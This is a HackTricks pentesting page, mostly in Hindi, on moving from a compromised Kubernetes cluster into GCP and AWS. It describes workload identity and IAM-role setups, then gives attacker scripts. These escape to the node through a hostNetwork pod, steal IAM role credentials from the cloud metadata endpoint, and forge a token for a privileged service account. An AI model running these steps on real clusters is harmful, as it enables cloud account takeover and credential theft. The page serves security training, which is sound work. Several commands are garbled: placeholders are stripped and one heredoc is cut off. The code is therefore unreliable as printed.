# Kubernetes Pivoting to Clouds {{#include ../../banners/hacktricks-training.md}} ## GCP यदि आप GCP के अंदर k8s cluster चला रहे हैं तो आप संभवतः चाहेंगे कि क्लस्टर के अंदर चल रहा कोई application GCP तक access कर सके। इसे करने के 2 सामान्य तरीके हैं: ### Mounting GCP-SA keys as secret GCP को एक **kubernetes application** को access देने का एक सामान्य तरीका है: - एक GCP Service Account बनाएं - उस पर इच्छित permissions bind करें - बने हुए SA की json key डाउनलोड करें - इसे pod के अंदर secret के रूप में mount करें - GOOGLE_APPLICATION_CREDENTIALS environment variable को उस path की ओर पॉइंट करते हुए सेट करें जहाँ json मौजूद है। > [!WARNING] > इसलिए, एक **attacker** के रूप में, यदि आप pod के अंदर किसी container से समझौता करते हैं, तो आपको उस **env** **variable** और GCP credentials वाले **json** **files** के लिए जांच करनी चाहिए। ### Relating GSA json to KSA secret GSA को GKE cluster तक access देने का एक तरीका उन्हें इस तरह bind करना है: - अपने GKE cluster के उसी namespace में एक Kubernetes service account बनाएं, निम्नलिखित command का उपयोग करके: ```bash kubectl create serviceaccount ``` - उस GCP service account के credentials को शामिल करने वाला एक Kubernetes Secret बनाएं जिसे आप GKE क्लस्टर तक पहुँच देना चाहते हैं। आप इसे `gcloud` command-line टूल का उपयोग करके कर सकते हैं, जैसा कि निम्न उदाहरण में दिखाया गया है: ```bash gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` - Kubernetes Secret को Kubernetes service account के साथ निम्नलिखित कमांड का उपयोग करके बाइंड करें: ```bash kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] > इस **second step** में **credentials of the GSA as secret of the KSA** सेट किए गए थे। फिर, यदि आप **read that secret** को **inside** के **GKE** क्लस्टर से पढ़ सकते हैं, तो आप **escalate to that GCP service account** कर सकते हैं। ### GKE Workload Identity Workload Identity के साथ, हम configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) को act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) के रूप में कॉन्फ़िगर कर सकते हैं। Kubernetes service account के साथ चलने वाले Pods Google Cloud APIs तक पहुँचने पर स्वतः ही Google service account के रूप में authenticate कर लेंगे। The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate. - **Enable Workload Identity** on a new cluster ```bash gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` - **नया nodepool बनाएँ/अपडेट करें** (Autopilot क्लस्टरों को इसकी आवश्यकता नहीं है) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` - K8s से GCP permissions के साथ **GCP Service Account to impersonate** बनाएं: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= # Give "roles/iam.securityReviewer" role to the SA gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` - **Connect** to the **cluster** और उपयोग के लिए **create** करें **service account** ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 # Generate our testing namespace kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` - **GSA को KSA के साथ बाइंड करें** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@.svc.id.goog[/ksa2gcp]" # Indicate to K8s that the SA is able to impersonate the GSA kubectl annotate serviceaccount ksa2gcp \ --namespace testing \ iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com ``` - एक **pod** को **KSA** के साथ चलाएँ और **GSA** तक **access** की जाँच करें: ```bash # If using Autopilot remove the nodeSelector stuff! echo "apiVersion: v1 kind: Pod metadata: name: workload-identity-test namespace: spec: containers: - image: google/cloud-sdk:slim name: workload-identity-test command: ['sleep','infinity'] serviceAccountName: ksa2gcp nodeSelector: iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f- # Get inside the pod kubectl exec -it workload-identity-test \ --namespace testing \ -- /bin/bash # Check you can access the GSA from insie the pod with curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email gcloud auth list ``` आवश्यक होने पर प्रमाणीकृत करने के लिए निम्न कमांड जांचें: ```bash gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json ``` > [!WARNING] > K8s के अंदर attacker के रूप में आपको **search for SAs** करना चाहिए जिनके पास **`iam.gke.io/gcp-service-account` annotation** है क्योंकि यह दर्शाता है कि वह SA GCP में कुछ access कर सकता है। दूसरा विकल्प यह है कि क्लस्टर के हर KSA को abuse करके देखें कि क्या उसे access है.\ From GCP की तरफ़ से हमेशा bindings को enumerate करना और यह जानना दिलचस्प होता है कि आप **Kubernetes के अंदर SAs को कौन सा access दे रहे हैं**। This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do echo "Pod: $ns/$pod" kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account" echo "" echo "" done done | grep -B 1 "gcp-service-account" ``` ## AWS ### Kiam & Kube2IAM (IAM role for Pods) Pods को IAM Roles देने का एक (पुराना) तरीका [**Kiam**](https://github.com/uswitch/kiam) या [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server** का उपयोग करना है। सामान्यतः आपको अपने cluster में एक **daemonset** चलाना होगा जिसके पास एक **kind of privileged IAM role** हो। यह daemonset उन Pods को IAM Roles तक पहुंच प्रदान करेगा जिन्हें इसकी आवश्यकता है। सबसे पहले आपको कॉन्फ़िगर करना होगा कि **which roles can be accessed inside the namespace**, और आप यह namespace object के अंदर एक annotation के साथ करते हैं: ```yaml:Kiam kind: Namespace metadata: name: iam-example annotations: iam.amazonaws.com/permitted: ".*" ``` ```yaml:Kube2iam apiVersion: v1 kind: Namespace metadata: annotations: iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` एक बार namespace को उन IAM roles के साथ configure कर दिया गया है जिन्हें Pods ले सकते हैं, आप प्रत्येक pod definition पर जिस role को आप चाहते हैं उसे **कुछ इस तरह निर्दिष्ट कर सकते हैं**: ```yaml:Kiam & Kube2iam kind: Pod metadata: name: foo namespace: external-id-example annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] > As an attacker, यदि आप **इन annotations को ढूँढते हैं** pods या namespaces में या किसी चल रहे kiam/kube2iam server (शायद kube-system में) में पाते हैं तो आप **हर role को impersonate कर सकते हैं** जो पहले से **pods द्वारा उपयोग किए गए हैं** और भी बहुत कुछ (अगर आपके पास AWS account की access है तो roles को enumerate करें). #### Create Pod with IAM Role > [!NOTE] > सूचित किया जाने वाला IAM role उसी AWS account में होना चाहिए जिसमें kiam/kube2iam role है और वह role इसे access कर पाने में सक्षम होना चाहिए. ```yaml echo 'apiVersion: v1 kind: Pod metadata: annotations: iam.amazonaws.com/role: transaction-metadata name: alpine namespace: eevee spec: containers: - name: alpine image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` ### IAM Role for K8s Service Accounts via OIDC यह **AWS द्वारा अनुशंसित तरीका** है। 1. सबसे पहले आपको [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html) करने की आवश्यकता है। 2. फिर आप एक IAM role बनाते हैं जिसमें SA को आवश्यक अनुमतियाँ हों। 3. एक [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) बनाएं (या उन namespaces को, जिनके सभी SAs को role तक access दिया गया हो)। _Trust relationship मुख्य रूप से OIDC provider name, namespace name और SA name की जाँच करेगा_. 4. अंत में, **ARN of the role को सूचित करने वाला annotation वाला SA बनाएँ**, और उस SA के साथ चलने वाले pods के पास role के token तक पहुँच होगी। यह **token** एक फाइल में **लिखा जाता है** और path **`AWS_WEB_IDENTITY_TOKEN_FILE`** में निर्दिष्ट है (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] > एक हमलावर के रूप में, यदि आप किसी K8s cluster का enumeration कर सकते हैं, तो **service accounts with that annotation** की जाँच करें ताकि **escalate to AWS** किया जा सके। ऐसा करने के लिए, बस IAM के किसी एक **privileged service accounts** का उपयोग करके एक **pod** **exec/create** करें और token चुरा लें। > > इसके अलावा, यदि आप किसी pod के अंदर हैं, तो **AWS_ROLE_ARN** और **AWS_WEB_IDENTITY_TOKEN** जैसे env variables की जाँच करें। > [!CAUTION] > कभी-कभी **Turst Policy of a role** गलत तरीके से **bad configured** हो सकती है और अपेक्षित service account को AssumeRole access देने के बजाय यह इसे **all the service accounts** को दे देती है। इसलिए, यदि आप किसी नियंत्रित service account पर annotation लिखने में सक्षम हैं, तो आप उस role तक पहुँच सकते हैं। > > अधिक जानकारी के लिए **following page for more information** देखें: {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} ### Find Pods a SAs with IAM Roles in the Cluster यह एक script है जो आसानी से **iterate over the all the pods and sas** definitions **looking** for that **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do echo "Pod: $ns/$pod" kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com" echo "" echo "" done for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do echo "SA: $ns/$sa" kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com" echo "" echo "" done done | grep -B 1 "amazonaws.com" ``` ### Node IAM Role to cluster-admin The previos section was about how to steal IAM Roles with pods, but note that a **Node of the** K8s cluster is going to be an **instance inside the cloud**. This means that the Node is highly probable going to **have an IAM role you can steal** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_). Node metadata endpoint तक पहुँचने के लिए आपको: - किसी pod में होना चाहिए और metadata endpoint कम से कम 2 tcp hops के लिए configured होना चाहिए। यह सबसे आम गलत कॉन्फ़िगरेशन है क्योंकि सामान्यतः क्लस्टर के अलग-अलग pods को metadata endpoint की access चाहिए ताकि वे सही तरह से चलें और कई कंपनियाँ बस क्लस्टर के सभी pods से metadata endpoint की access allow कर देती हैं। - ऐसे pod में होना चाहिए जहाँ `hostNetwork` enabled हो। - Node तक escape करें और metadata endpoint को सीधे access करें। (ध्यान दें कि metadata endpoint हमेशा की तरह 169.254.169.254 पर है). To **escape to the node** you can use the following command to run a pod with `hostNetwork` enabled: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` ### Steal IAM Role Token पहले हमने चर्चा की थी कि कैसे **attach IAM Roles to Pods** या यहां तक कि कैसे **escape to the Node to steal the IAM Role** जो instance से जुड़ा हुआ है। आप निम्नलिखित script का उपयोग कर सकते हैं **steal** करने के लिए अपने नए मेहनत से प्राप्त **IAM role credentials**: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then echo "IAM Role discovered: $IAM_ROLE_NAME" if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then echo "Credentials:" curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null fi fi ``` ### Privesc to cluster-admin सारांश: अगर किसी pod से **access the EKS Node IAM role** संभव है, तो पूरा **compromise the full kubernetes cluster** करना संभव है। For more info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). As summary, the default IAM EKS role that is assigned to the EKS nodes by default is assigned the role `system:node` inside the cluster. This role is very interesting although is limited by the kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction). However, the node can always **generate tokens for service accounts** running in pods inside the node. So, if the node is running a pod with a privileged service account, the node can generate a token for that service account and use it to impersonate the service account like in: ```bash kubectl --context=node1 create token -n ns1 sa-priv \ --bound-object-kind=Pod \ --bound-object-name=pod-priv \ --bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d ``` ## संदर्भ - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) - [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c) - [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/) {{#include ../../banners/hacktricks-training.md}}